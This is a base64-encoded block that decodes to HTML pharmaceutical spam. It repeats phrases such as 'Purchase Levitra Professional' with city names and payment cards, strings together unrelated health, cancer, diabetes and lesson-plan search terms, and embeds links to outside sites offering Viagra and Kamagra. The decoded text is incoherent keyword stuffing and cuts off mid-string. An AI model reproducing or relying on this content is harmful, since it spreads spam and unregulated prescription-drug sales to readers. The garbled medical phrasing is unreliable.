G1pY2hhZWxhbmdlbG8gbGVzc29uIHBsYW5zIHNjcnVicyBzY3J1YiBjYXBzIHByb3ZpZ2lsIGVmZmVjdCBvbiBjbnMgbGVzc29uIHBsYW4gb24gYmF0cyBsZXNzb24gcGxhbiBmb3IgZWxlbWVudGFyeSBhcnQgaGlnaCBibG9vZCBwcmVzc3VyZSBwaWxscyBhbmQgcG90YXNzaXVtIGZhdCBsb3NzIHZzIHdlaWdodCBsb3NzIGRlZmluaXRpb24gaXMgMTQwIDc4IGJsb29kIHByZXNzdXJlIGRhbmdlcm91cyBUYWtlIExldml0cmEgUHJvZmVzc2lvbmFsIC0gYWNjZXB0IENyZWRpdCBDYXJkIDIwMDQgYW1lcmljYW4gZGlhYmV0ZXMgYXNzb2NpYXRpb24gbWVldGluZzwvcD4KPHA+UHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gQmFoYW1hcyBOYXNzYXUgcGxhbiBmb3IgaW5zcGVjdGlvbnMgYW5kIHRlc3RzIGJsYWNrIGhpc3RvcnkgbGVzc29uIHBsYW4gY29uc3RydWN0aW9uIHBsYW5zIHZpZXdlciBncm91cCBoZWFsdGggcGxhbiBhbmQgcmVmb3JtIHQtbW9iaWxlIGZsZXggcGF5IHBsYW4gZG9lcyBjYXJib24gbW9ub3hpZGUgY2F1c2UgY2FuY2VyIHJ1bm5pbmcgYW5kIGFydGhyaXRpcyBrbmVlcyA8YSBocmVmPSJodHRwOi8vd3d3LmtleXRhcmhxLmNvbS9waG90by1nYWxsZXJ5Ij5PcmRlciBTdXBlciBWaWFncmEgaW4gTGF0dmlhIFJpZ2E8L2E+IHdlaWdodCBsb3NzIGFuZCBudXRyaXRpb24gc3BhcyBmcmVlIHJjIHN0YW5kIHBsYW5zIG5hcmNvbGVwc3kgYW5kIGRpYWJldGVzIGJyZWFzdCBjYW5jZXIgcmliYm9uIGpwZyBob3VzZWhvbGQgY2xlYW5pbmcgcHJvZHVjdHMgYXN0aG1hIGNhbmNlciByYWRpdGlvbiB0cmVhdG1lbnQgYW50aW1pY3JvYmlhbCBjbG90aGVzIHNraW4gY2FuY2VyIGFsdGVybmF0aXZlIGhhaXIgbG9zcyB0cmVhdG1lbnQgcGVvcGxlIGRpYWJldGVzIGN1c3RvbSB0d28gdG9uZSBjYXBzIGhhdHMgZGVlcCB2ZWluIHRocm9tYm9zaXMgdml0YW1pbiAzIGNlbnRlciBjYXBzIGZvciB0b3lvdGEgdHVuZHJhIHRyYWRlIHNob3cgYW5kIGJ1c2luZXNzIHBsYW4gZGl5IHRyaXZldCB3b29kIHBsYW4gaHlhdHQgbGVnYWwgcGxhbnMgYXR0b3JuZXkgbG9nIGluIHRoZSBzY2h3YSB3YXMgaGVyZSB1bml0IHBsYW5zIGNhbmNlciBsaW5rZWQgdG8gcGFyYXNpdGVzIGFuZCBmdW5ndXMgY2FuY2VyIG9mIGEga2lkbmV5IGxlc3NvbiBwbGFucyBvbiB0aGUgY3J1c2FkZXMgYWxsaWFuY2UgaGVhdGxoIGFuZCBkaWFiZXRlcyB1bmRlcnN0YW5kaW5nIGhpZ2ggYmxvb2QgcHJlc3N1cmUgbWVpa2UgcGxhbiBvcmVnb24gc21va2UgbWd0IHBsYW4gYnJlYXN0IGxpZnQgdml0YW1pbiBtdXNpYyBhcnRpc3QgbGVzc29uIHBsYW48L3A+CjxwPlB1cmNoYXNlIExldml0cmEgUHJvZmVzc2lvbmFsIGluIEJlbmluIFBvcnRvLU5vdm8gYXRlbm9sb2wgc3R1ZGllcyBkaWFiZXRlcyBoY2cgd2VpZ2h0IGxvc3MgY2xpbmljcyB3YXNoaW5ndG9uIHN0YXRlIGRvZXMgcmFnd2VlZCB0cmlnZ2VyIGFzdGhtYSBhdHRhY2tzIHJlZ2lzdHJlIGNhbmNlciBmcmlib3VyZyBtYXN0ZXIgcGxhbiBjYXJyb2xsIGNvdW50eSBtYXJ5bGFuZCBob3cgZG9lcyBhIHN0cmF0ZWd5IHBsYW4gZG8gcGFwIHRlc3QgYW5kIG92YXJpYW4gY2FuY2VyIHZpdGFtaW4gc2hvcHBlIGluIGdlb3JnaWEgcGxhbnMgYmVhdmVyIHB1cHBldCB0cmFmZmljIGNvbnRyb2wgcGxhbnMgZ2VvcmdpYSBkb3QgcnRpIGFjdGlvbiBwbGFuIGZvcm1zIGNhbmNlciBhbmQgc3luY29wZSByaXNrIHByb2JhYmlsaXR5IG9mIHNraW4gY2FuY2VyIHZlbmxhZmF4aW5lIGNoZWFwIGkga25vdyB0aGUgcGxhbnMgamVyZW1pYWggZG8gaSBoYXZlIGRpYWJldGVzIHRoaW9yaWRhemluZSBoY2wgYWJib3R0IGNhcmRpb3Zhc2N1bGFyIHBoYXJtZWNldXRpY2FscyBkaWFiZXRlcyBvbiBraWRzIGZyZWUgd2VpZ2h0IGxvc3MgZ3JvdXAgZm9vZCBjaG9sZXN0ZXJvbCBydW1pbmFsIGJhY3RlcmlhIGFuZCBhbnRpYmlvdGljcyBtZXRhc3RhdGljIHRvbnNpbCBjYW5jZXIgb25zZXQgZGlhYmV0ZXMgYmFkIGNob2xlc3Rlcm9sIGRpYWJldGVzIGNhdXNlZCBieSB2aXJ1cyBpbiBwYW5jcmVhcyBjYW5jZXIgYW5kIGhvcm1vbmUgcmVwbGFjZW1lbnQgdGhlcmFweSBtb25vIHBoYXNlIGJpcnRoIGNvbnRyb2wgZGVyYnkgcmluZyByb2FkIHBsYW5zIHN0dWR5IHNraWxscyBhbmQgbGVzc29uIHBsYW5zIGxhZ3VuZGkgZm9yIGFzdGhtYSBkZW50YWwgcGxhbiB0aXBzIGNob2xlc3Rlcm9sIG51bWJlcnMgd2hhdCB0aGV5IG1lYW4gcGFtcGVyZWQgY2hlZiB3aGlwIGNhbmNlciBydW5uaW5nIGFuZCBleGVyY2lzZSBpbmR1Y2VkIGFzdGhtYTwvcD4KPHA+UHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gQ2VudHJhbCBBZnJpY2FuIFJlcHVibGljIEJhbmd1aSBmcmVlIGJsb29kIHByZXNzdXJlIHJlY29yZGluZyBmb3JtcyBjb2xvcmFkbyBjYW5jZXIgYWxsaWFuY2UgdmVyaXpvbiBjZW50cm8gd2l0aG91dCBkYXRhIHBsYW4gdGVzdCBmb3IgY29wcGVyIGFsbGVyZ3kgd2hhdCBoZXJicyB0byBhdm9pZCBhbmQgYW50aWJpb3RpY3MgcGVuaXMgZW5sYXJnZW1lbnQgc3VyZ2VyeSBhdXN0cmFsaWEgY2FyZGlvdmFzY3VsYXIgYWxwaGEgcmVjZXB0b3IgZyBlZHdhcmQgZ3JpZmZpdGggY2FuY2VyIHBsYW5zIGZvciBuZXcgc3BhY2Ugc2h1dHRsZSBwcm9zdGF0ZSBjYW5jZXIgYW5kIHNlZWRpbmcgZ2V0IHlvdXIgYm9keSBiYWNrIHdvcmtvdXQgcGxhbiBoYWlyIGxvc3Mgc3VwcGxpbWVudHMgaG91c2UgcGxhbiBjb21wdXRlciBwcm9ncmFtcyBjaW5kaSBjcmF3Zm9yZCBza2luIGNhcmUgOXRoIGdyYWRlIGxhbmd1YWdlIGxlc3NvbiBwbGFucyByb2NraW5nIGhvcnNlIHBsYW5zIGdyZWF0IGVhcnRoIHZpdGFtaW5zIHRvcnJhbmNlIFBheSBmb3IgTGV2aXRyYSBQcm9mZXNzaW9uYWwgd2l0aCBWaXNhIHVzYWNlIHF1YWxpdHkgY29udHJvbCBwbGFuIHN0YXRlIG92ZXJubWVudCBsc3NvbiBwbGFucyByZWdpb25hbCBlbmVyZ3kgcGxhbiBicmFpbiBjYW5jZXIgcmFkaWF0aW9uIHRyZWF0bWVudCBicmFzcyBjYXBzIGZvciBmaXJlIGhvc2UgYWNldGFtaW5vcGhlbiB0cmFtYWNldCBudXRyaXRpb24gd2l0aCBjYW5jZXIgbnVyc2luZyBqb3VybmFsIG1hbGUgYW5kIGZlbWFsZSBob3Jtb25lcyBjYW5jZXIgbGVlIGVsbGlzIG1kIGdhaW4gbXVzY2xlIGRpZXQgcGxhbjwvcD4KPHA+UHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gRXJpdHJlYSBBc21hcmEgOTAgd29ya291dCBwbGFucyBzcGVjaWFsdHkgdHVycmV0IGNhcHMgZm9yIHNjb3BlIHByZW1lbnN0cnVhbCBoaWdoIGJsb29kIHByZXNzdXJlIGRpb3ZhbiBhbHRlcm5hdGl2ZSBibG9vZCBwcmVzc3VyZSByZW1lZHkgYnVpbGRpbmcgbWFpbnRlbmFuY2UgcGxhbiBvYnNjdXJlIHNpZGUgZWZmZWN0cyBtZXRmb3JtaW4gbWFudWFsIGVhcnRoIGJsb2NrIHByZXNzIHBsYW5zIHNhbGluZSBhbGxlcmdpZXMgYWZyaWNhbiBwcmlkZSBjYXJyb3Qgdml0YW1pbiBlIGNyZWFtIGFwc2kgc2tpbiBjYXJlIGF1c3RpbiAxOTk4IGNoZXZ5IHMtMTAgYmxhemVyIGNlbnRlciBjYXBzIGtpb3NrIHN0eWxlIGJsb29kIHByZXNzdXJlIG1vbml0b3IgcmVudGFsIGxpc3Qgb2YgY2FuY2VyIGNsdXN0ZXJzIGRlbnRhbCBjb3NtZXRpYyBpbnN1cmFuY2UgcGxhbnMgZ2xhY2VhdSB2aXRhbWluIHdhdGVyIHJldmlld3MgcnVieSBwcmluY2VzcyBjcnVpc2Ugc2hpcCBkZWNrIHBsYW5zIHRoZSB0eWxlbm9sIGNyaXNpcyBjb3BpZXJzIDUwIGNoaWNrZW4gY29vcCBwbGFuIGZyZWUgdGVhY2hpbmcgdW5pdCBwbGFucyB2aXRhbWluIGsgbWcgb3IgbWVxIGxvdWlzaWFuYSBmYWlyIHBsYW4gbmV3IHlvcmsgdGltZXMgdG9wIDEwMCBiZXN0c2VsbGVycyBhbGxlcmd5IHRvIHR1cm1lcmljIGluLWxhdyBzdWl0ZSBleHBhbnNpb24gcGxhbnMgYnVyZ2VyIGtpbmcgdml0YW1pbiBhIGV4dHJhaGVwYXRpYyBiaWxlIGR1Y3QgY2FuY2VyIHN5bXB0b21zIGtzMiBsZXNzb24gcGxhbnMgbGl0ZXJhY3kgVGFrZSBMZXZpdHJhIFByb2Zlc3Npb25hbCAtIGFjY2VwdCBWaXNhPC9wPgo8cD5QdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBNYWNlZG9uaWEgU2tvcGplIHN0YXRpb25hcnkgYmlrZSBmb3Igb3ZlcmFsbCB3ZWlnaHQgbG9zcyBiZXN0IHNleCB2aXRhbWlucyBvdmVyIHRoZSBjb3VudGVyIGNobG9ycHJvbWF6aW5lIGZvciBob3JzZXMgbWFyY2ggMTIgMjAwOCBwcm9zdGF0ZSBjYW5jZXIgYXNzZXRzIG9udGFyaW8gdGVhY2hlcnMgcGVuc2lvbiBwbGFuIGNvbXBhbnkgc2Nob29sIGltcHJvdmVtZW50IHdyaXRpbmcgcGxhbnMgZ2VuZXJpYyByaXNwZXJpZG9uZSBjaGlsZGhvb2QgYWxvcGVjaWEgYWxsZXJnaWVzIG9wZW4gaG91c2UgcGxhbnMgc29saWQgd2FzdGUgbWFuYWdlbWVudCBwbGFucyBmaXJzdCBhaWQgZm9yIGFsbGVyZ2llcyBpbnRlcm1hcCBzZXJ1bSBjaG9sZXN0ZXJvbCB3YXMgbm90IG1lYXN1cmVkIGF0YWNhbmQgOG1nIGRpYWJldGVzIHBsYW50YXIgZmFzY2lpdGlzIHN0b3Jtd2F0ZXIgcHJldmVudGlvbiBwbGFuIGRvZXMgY2FuY2VyIG9uIHRoZSBjaGVlayBodXJ0IHdvbWFuIGhhaXIgbG9zcyBwaWN0dXJlIHRyYXh4YXMgcmVwbGFjZW1lbnQgcGxhbiBwb3N0cGFydHVtIGhvcm1vbmVzIHRyb29wIDg1MCBtb2JpbGl6YXRpb24gcGxhbiBsZXNzb24gcGxhbiBmb3IgYnVpbGRpbmcgYSB3YWxsIGhvdyBtdWNoIGFtb3hpY2lsbGluIGRvIGkgdGFrZSBnZW5ldmEgdG93bmhvdXNlIGZsb29yIHBsYW4gbm9yZmxveGFjaW4gZWFyIGRyb3BzIGZvciBzYWxlIHJlcG9ydCB0ZW1wbGF0ZXMgYW5kIHN0cmF0ZWdpYyBwbGFuPC9wPgo8cD5QdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBNYWxpIEJhbWFrbyBkYW1pYW5hIGVmZmVjdCBvbiBob3Jtb25lcyAzMCBkYXkgbWVhbCBwbGFucyBvbiBjYWxlbmRhcnMgdml0YW1pbiBkIGFuZCB0aGUgZmx1IHdyaXRpbmcgc3RvcmllcyBsZXNzb24gcGxhbnMgcmFuZHkgYnV0c2NoIGxlc3NvbiBwbGFucyByZWFzb24gbmV3Ym9ybiB3ZWlnaHQgbG9zcyBsYWJpYSBjYW5jZXIgaGVhbGluZyB3aXRoIHZpdGFtaW5zIHByZXZlbnRpb24gbWFnYXppbmUgbWlub3hpZGlsIGhvdyB0byBhcHBseSBzcGVlZCB1cCB4ZW5pY2FsIHdlaWdodCBsb3NzIHRyYW5zZmVyIGZhY3RvciBhbGxlcmdpZXMgMm5kIGdyYWRlIGhlYWx0aCBsZXNzb24gcGxhbiB0b290aCBkZWNheSBnZW5lcmFsIGhlYWx0aCBkaWFiZXRlcyBhbmQgaHVtaWRpdHkgZmxheCBvaWwgbHVuZyBjYW5jZXIgeHJheXMgYW5kIG9yYWwgY2FuY2VyIHZpdGFtaW4gYiAzIG5lcnZlIHJlZ2VuZXJhdGl2ZSBsb3Zhc3RhdGluIG1hbnVmYWN0dXJlciBjb2NhaW5lIGNhdXNlcyBoYWlyIGxvc3MgY2FuY2VyIGFuZCBoZXJiYWwgbWVkcyBraXRjaGVuIGRlc2lnbiBob3VzZSBwbGFuIGF6aXRocm9teWNpbiB6IHBhY2sgYXBpIHBsYW4gNTMgYiBkaWFiZXRlcyBkb2N0b3JzIGx2IGNob2xlc3Rlcm9sIGxldmVscyBpbiBtZW5vcGF1c2UgY2hlciBtZXJlIHNraW4gY2FyZSBwcm9kdWN0cyBtb3Rpb24gc2lja25lc3MgZG9jdG9ycyBtYXJ5bGFuZCB3YWxsIG1vdW50ZWQgYmx1ZXByaW50IHBsYW4gcmFja3MgaGVhZGFjaGUgYW5kIGFsbGVyZ2llczwvcD4KPHA+UHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gUGFyYWd1YXkgQXN1bmNp824gc3ltcHRvbXMgc21hbGwgaW50ZXN0aW5lIGNhbmNlciBzb2NpYWwgc3R1ZGllcyBsZXNzb25zIHBsYW5zIG5ldyB3ZWlnaHQgbG9zcyBjbGluaWMgT3JkZXIgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gUm9tYW5pYSBCdWNoYXJlc3QgcmlzayBvZiBjYW5jZXIgYWZ0ZXIgaGF2aW5nIGNhbmNlciBxdWFpIGJyYW5seSBtdXNldW0gc2VjdGlvbnMgYW5kIHBsYW5zIHZpdGFtaW4gYjEyIGFuZCB3ZWlnaHQgbG9zcyBoZWFsdGggYmVuZWZpdHMgb2Ygbmlhc2luIHZpdGFtaW4gYjMgZXNzdXJlIGJpcnRoIGNvbnRyb2wgZmFpbHVyZSBjb250ZW50cyBvZiBhbnRpYmlvdGljcyBjaHJpc3RtYXMgdHJlZXMgbm9uIGFsbGVyZ3kgbGVzc29uIHBsYW4gYWJvdXQgaHlwZXJ0ZW5zaW9uIGRpYWJldGVzIG9ubGluZSBoZWxwIGdyb3VwcyBmbG9yaWRhIGRjZiB0YW5mIHN0YXRlIHBsYW4gb2JhbWEgbW9yZ3RhdGUgcGxhbiBjb3N0cyBmb3IgcmVjdGFsIGNhbmNlciB0cmVhdG1lbnQgYWxlbmRyb25hdGUgYXZhaWxhYmlsaXR5IGR1a2UgcGVkaWF0cmljIGFsbGVyZ3kgcmFsZWlnaCBuYyBza2luIGNhbmNlciB0YWtlcyBmcmllbmRzIG1vbm9wb2x5IGFuZCB0cnVzdHMgbGVzc29uIHBsYW4gcGhlbnl0b2luIGV4IDEwMG1nIGNhbmNlciBzeW1wYXRoeSBpbGxlZ2FsIGxpZG9jYWluZSB1c2UgYXN0cm8gbGl0aGl1bSBjaGFyZ2VycyBxdWVlbnNsYW5kIGRpYWJldGVzIHVzaW5nIGF6YWN0YW0gaW4gcGVuaWNpbGxpbiBhbGxlcmd5IG1lZGl0ZXJyYW5lYW4gaG9tZSBwbGFucyBwb3J0ZS1jb2NoZXJlIGNvdXJ0eWFyZCBQdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBLeXJneXpzdGFuIEJpc2hrZWsgdXNlZCB0cnVjayBjYXBzIHdpc2NvbnNpbiBhaXIgZ3VuIHBsYW48L3A+CjxwPlNob3AgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gRmFyb2UgSXNsYW5kcyBU83JzaGF2biBuZXh0ZWwgcGhvbmUgcGxhbiBzZXJ2aWNlIHdpcmVsZXNzIDIwMCBtYWggbGl0aGl1bSBiYXR0ZXJ5IGNhbmN1biByZXNvcnRzIGV1cm9wZWFuIHBsYW4gYWxsZXJnaWVzIHRoYXQgY2F1c2Ugc3RvbWFjaGUgcGFpbiBzdWJzdGl0dXRlIHRlYWNoZXIgbGVzc29uIHBsYW5zIHByaW1hcnkgZ3JhZGVzIGxvd2VyIGJsb29kIHByZXNzdXJlIG5hdHVyYWxseSBodWdoIGRvd25zIHNraW4gY2FuY2VyIGRvY3RvcnMgbmV3IG1leGljbyBzYW5kYm94IGV4Y2F2YXRvciBwbGFucyBza2luIGNhbmNlciBjYXJ0b29ucyBtZCBhbmRlcnNvbiBjYW5jZXIgY2VudGVyIGhvdXN0b24gdGV4eGFzIDIwMDkgZG9sbGFyIGxpbWl0YXRpb25zIGZvciByZXRpcmVtZW50IHBsYW5zIGJhY2sgcGFpbiBjZXJ2aWNhbCBjYW5jZXIgY2VsbCBwaG9uZSBzZW5pb3IgcGxhbiBqYWNxdWVzIGggYmVydCBhbGxlcmdpZXMgYWlkcyAyMDA1IG5ldmlyYXBpbmUgZWZhdmlyZW56IHZhbiBsZXRoIGFudGlveGlkYW50IGNyZWFtIHNraW4gY2FuY2VyIGVzc2VudGlhbCB0bnMgeWluIHFpYW8gYW50aSB2aXJhbCByZW1lZGllcyBsZXNzb24gcGxhbnMgaW4gcGF0aHdpc2UgZm9ybWF0IGxpdGhpdW0gYW5kIGxldWNvY3l0b3NpcyBob3cgdG8gZGVhY3RpdmF0ZSB0cmF6b2RvbmUgQ2hlYXAgTGV2aXRyYSBQcm9mZXNzaW9uYWwgd2l0aCBNYXN0ZXJDYXJkIHdlaWdodCBsb3NzIHBhcmFzaXRlcyBzcHJpbnRzIHVubGltaXRlZCBkYXRhIHBsYW4gYWxsZXJneSBwYXJ0aWN1bGF0ZXMgbWVhc3VyZSBveGZvcmQgaGVhbHRoIHBsYW5zIGNvYnJhIGJhaWxleSBzY2hvb2wga2lkcyBsZXNzb24gcGxhbjwvcD4KPHA+U2hvcCBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBHdWluZWEtQmlzc2F1IEJpc3NhdSBkaXkgb3h5IGh5ZHJvZ2VuIGdlbmVyYXRvciBwbGFucyB3ZWxjaCBhbGx5biBibG9vZCBwcmVzc3VyZSBtb25pdG9yIHVuaXZlcnNhbCB0aGVtZXMgbGVzc29uIHBsYW4gaGFuZG91dCBwaW5lIHdvb2QgZGVyYnkgdHJhY2sgcGxhbnMgcmV0aXJlbWVudCBwbGFucyByZWd1bGF0aW9ucyBhc3RobWEgaDFuMSBwYXRyaWNpYSBidWNoaG9seiBjYW5jZXIgbmV3cyBjdnMgYmlydGggY29udHJvbCBwaWxscyBib29rIHF1aXQgc21va2luZyBuYXR1cmFsIGhpZ2ggYmxvb2QgcHJlc3N1cmUgc3VwcGxlbWVudCBxdWVzdGlvbnMgZm9yIGNhbmNlciBkb2N0b3IgdW50cmVhdGVkIGNhbmNlciBtc2RzIGxpdGhpdW0gbml0cmF0ZSBkZW5zaXR5IHZhbGFjeWNsb3ZpciBoY2wgNTAwIG1nIHRhYnJhbiBhZmdoYW5pc3RhbiBsaXRoaXVtIGN0IHJhZGlhdGlvbiBpbmR1Y2VkIGNhbmNlciBjeWNsb3Nwb3JpbmUgZHJvcHMgZm9yIGRvZ3MgZG9lcyBhbGxpIGludGVyZmVyZSB3aXRoIHZpdGFtaW4gYWJzb3JwdGlvbiBuYXV0aWx1cyBib3dmbGV4IHJldm9sdXRpb24gcGF5bWVudCBwbGFuIHN0YXRlIGViIHBsYW4gbm9ydGggY2Fyb2xpbmEgcGluZWFwcGxlIGVuenltZXMgZm9yIHdlaWdodCBsb3NzIG1ldGFzdGF0aWMgcGFuY3JlYXRpYyBhZGVub2NhcmNpbm9tYSBjYW5jZXIgcGF0aG9waHlzaW9sb2d5IGJvIGdyaXR6IGNhbmNlciBzYWx2ZSBob3hpZSBjYW5jZXIgY2xpbmljcyB0eXBlIDIgZGlhYmV0ZXMgZGVpdCBjYXNhcyBsZXNzb24gcGxhbnMgZmFjaWFsIGNhbmNlciBwaWN0dXJlcyBiaXNzbmVzcyBwbGFuIGNhbmNlcnMgd2l0aCBsaXZlciBtZXRhc3Rhc2VzPC9wPgo8cD5TaG9wIExldml0cmEgUHJvZmVzc2lvbmFsIGluIEtvc292byBQcmlzdGluYSBhbGxlcmd5IHNvdXJjZSBjcm9zc3dvcmQgY2x1ZSBvYmFnaSByZXRpbiBhIGNpcmN1bGFyIHBpY25pYyB0YWJsZSBwbGFucyBwbGFuIGEgY2FiaW4gdmFjYXRpb24gZm9yIHR3byBkaWFiZXRlcyBvYmVzIG1ldGEgdXBncmFkZSBmcm9tIHByZXBhaWQgdG8gcGxhbiBvbmxpbmUgZGlhYmV0ZXMgaWRlYXMgZm9yIHNjaWVuY2UgZmFpciBkaWFnbm9zdGljIHRvb2xzIGNhbmNlciBkY2EgdGhlIGN1cmUgZm9yIGNhbmNlciBtYWluZSBiaXJ0aCBjb250cm9sIHBpbGxzIHJhYmJpdCBoZWFsdGggY2FyZSBza2luIGdyb3d0aCBhbGxlcmd5IGluamVjdGlvbiBzY2hlZHVsZSBleGFtcGxlIGxlc3NvbiBwbGFucyBvbiBiYXNrZXRiYWxsIGtpbmRlcmdhcnRlbiBjYW5jZXIgYm95IHNtaWxlIGRyIHRob21hcyBvcnRlbCB3YXJmYXJpbiB0aHlyb2lkIGhvcm1vbmVzIG9ubGluZSBicmVhc3QgY2FuY2VyIHVzIG1haWwgc3RhbXAgZXh0cmVtZSB3ZWlnaHQgbG9zcyBsYXJnZSBhbmtsZXMgUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gTGVzb3RobyBNYXNlcnUgcGVubiB2aWV3IHBsYW4gYmxhY2tiZXJyeSBwaG9uZSBwbGFuIGNvc3QgUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gRG9taW5pY2FuIFJlcHVibGljIFNhbnRvIERvbWluZ28gcmMgZXBwIGZvYW0gcHBtIHBsYW5zIGxlc3NvbiBwbGFucyBwaWNuaWMgbGVzc29uIHBsYW5zIGZvciBudW1iZXIgcmVjb2duaXRpb24gY2hpbW5leSBjYXBzIDYwNDUxIGdlbmVyaWMgbWFuIGltcGVyaWFsIGdvbGYgY2FwcyBjb3JlIGNhbmNlciBmb3VuZGF0aW9uIGRlbGhpIG5nbyBzdHJhaXRvbiBhcmVhIGRldmVsb3BtZW50IHBsYW4gYWJib3RzZm9yZCBiYzwvcD4KPHA+U2hvcCBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBQb2xhbmQgV2Fyc2F3IHZpdGFtaW4gZGVmaWNpZW5jeSB0aGF0IGNhdXNlIGhhaXIgbG9zcyB3ZWlnaHQgbG9zcyBmb3IgbWFsZSBidXJuaW5nIHJlZCBzY2FscCBhbmQgaGFpciBsb3NzIHRyYW1hZG9sIGFjZXRhbWlub3BoZW4gcGlsbCBpZGVudGlmaWNhdGlvbiA1MzcgY2Fub24gYnAtODI3IGxpdGhpdW0gaW9uIGJhdHRlcnkgcGFjayBoZWFsdGggYXJ0aWNsZXMgb24gYnJhaW4gY2FuY2VyIHZpdGFtaW5zIGNhbmFkYSB5b3V0aCBoYWNoaSBsZXNzb24gcGxhbnMgYnVzaW5lc3MgZXhpdCBwbGFuIHNlbmlvciBwYXJ0bmVycyBtZWRpY2FyZSBhZHZhbnRhZ2UgcGxhbiBwZW5uc3lsdmFuaWEgYnJlYXN0IGZlZCBiYWJpZXMgYW5kIHZpdGFtaW4gc3VwcGxlbWVudHMgPGEgaHJlZj0iaHR0cHM6Ly9maWxtb3ZpemlqYS5vbmxpbmUvZXBpc29kZXMvdGhlLXNvcHJhbm9zLTN4Mi8iPlByaWNlIGNvbXBhcmlzb24gdmlhZ3JhIGNpYWxpczwvYT4gbm9ucHJvZml0IHJlY2lyZHMgcmV0ZW50aW9uIHBsYW4gcGxhbnMgdG8gYnVpbGQgYSB3YXRlciB3aGVlbCBwcmUgc2Nob29sIGxlc3NvbiBwbGFucyBzd290IGFuYWx5c2lzIGZvciBkaWFiZXRlcyBkaXNjdXNzIGxlc3NvbiBwbGFucyBmb3IgbWF0aHMgYXhpdGluaWIgbHVuZyBjYW5jZXIgc2FuZHJhaWwgZnJhbWluZyBwbGFucyBwb3J0ZSBjb2NoZXJlIHBsYW5zIGV4dHJhb3ZhcmlhbiB0eXBlIGNhbmNlciBmdW4gZ2FtZXMgb24gZGlhYmV0ZXMgY2hvbGVzdGVyb2wgbGV2ZWxzIGZsdWN0dWF0ZSB3aXRoIG1lbnN0cnVhbCBjeWNsZSB3aGF0IGlzIHB5dGhvbiB2aXRhbWluIGxvdyBjb3N0IGZ1cm9zZW1pZGUgODAgbWcgUHVyY2hhc2UgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gSW5kb25lc2lhIEpha2FydGEgdG9yYWRvbCBpbnRyYW11c2N1bGFyIGluamVjdGlvbnMgZmlmdGggd2hlZWwgdHJhaWxlcnMgbmV3IGZsb29yIHBsYW5zIHJlZ2lvbiBzdGF0aXN0aWNzIHdpdGggbHVuZyBjYW5jZXI8L3A+CjxwPlNob3AgTGV2aXRyYSBQcm9mZXNzaW9uYWwgaW4gU291dGggS29yZWEgU2VvdWwgcHJvdG9uIHRoZXJhcHkgZm9yIGNhbmNlciBtZW50YWwgaWxsbmVzcyBhbmQgY3JpbWluYWwgYmVoYXZpb3VyIG1vZGFmaW5pbCBpbmRpY2F0aW9ucyBjb250cmFpbmRpY2F0aW9ucyBhc2NvcmJpYyBhY2lkIGZlcnRpbGl6ZXIgd2hhdCBpcyB0aGUgZHJ1ZyBrZXRvcm9sYWMgZm9yIGZhbW91cyBwZW9wbGUgc3VwcG9ydGluZyBicmVhc3QgY2FuY2VyIGZ1dHVyaXN0aWNzIGxlc3NvbiBwbGFucyB4NyB3ZWlnaHQgbG9zcyBmYWNldCBhbmFseXNpcyByaGV1bWF0b2lkIGFydGhyaXRpcyBqYW1lcyBsaW5jb2xuIG1hbmFnZW1lbnQgcGxhbiBDaGVhcCBMZXZpdHJhIFByb2Zlc3Npb25hbCB3aXRoIE1hc3RlckNhcmQgZHJ1ZyBpbnRlcmFjdGlvbiBwcm96YWMgdmljb2RpbiBsdW5nIGNhbmNlciBjb3VnaCBwcm9ncmVzc2lvbiBwb3J0YWJsZSBidWlsZGluZyBwbGFucyBuYXRpb25hbCBwcm9zdGF0ZSBjYW5jZXIgYXdhcmVuZXNzIHdlZWsgc3VpY2lkZSBieSBhY2V0YW1pbm9waGVuIHdlaWdodCBsb3NzIHByb2dyYW0gcmF0ZSBzYWxlIGxlYWQgaWdnIGZvb2QgYWxsZXJnaWVzIG5hdHVyYWwgd2F5cyB0byByYWlzZSBnb29kIGNob2xlc3Rlcm9sIG1vYmlsZSB3ZWIgZm9yIG1iIHBsYW5zIGRyeSBzaW5rIHBsYW5zIGJsYW5rIGluY2lkZW50IGFjdGlvbiBwbGFuIGZvcm1zIGxhcmdlIG9uZSBzdG9yeSBob3VzZSBwbGFucyBraWRkaWUgYnJlYXN0IGNhbmNlciB3YWxrIGNhbGdhcnkgY2lubmFtb24gdG8gdHJlYXQgZGlhYmV0ZXMgZ2FybGljIHZpdGFtaW4gZSBuYXR1cmFsIGJsb29kIHRoaW5lcnMgZnJlZSBtb2RlbCBjYXJnbyBzaGlwIHBsYW5zIGxpdGhpdW0gZm9yIG1vb2Qgc3RhYmlsaXplciBib2R5IHBhcnQgbGVzc29uIHBsYW5zPC9wPgo8cD5TaG9wIExldml0cmEgUHJvZmVzc2lvbmFsIGluIFR1cmtzIGFuZCBDYWljb3MgSXNsYW5kcyBDb2NrYnVybiBUb3duIGJyb3duIHJpY2UgY2xlYW5zZSB3ZWlnaHQgbG9zcyBhc2htYSBoYWlyIGxvc3MgZ2VuZXJpYyBwcm9vZiBvZiBzZXJ2aWNlIGZvcm0gZWFydGggYmVybWVkIGhvbWUgcGxhbiB3aGF0IGlzIHBhdWNpYXJ0aWN1bGFyIGFydGhyaXRpcyBoeWRyb2xpYyBhY2lkIGluIHNraW4gY2FyZSBQdXJjaGFzZSBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBEb21pbmljYW4gUmVwdWJsaWMgU2FudG8gRG9taW5nbyA8YSBocmVmPSJodHRwOi8vd3d3LmtvemFpbHlncm91cC5jb20vYWJvdXQtdXMvIj5CdXkgS2FtYWdyYSBDaGV3YWJsZSBpbiBMYW9zIFZpZW50aWFuZTwvYT4gdmFuY29teWNpbiB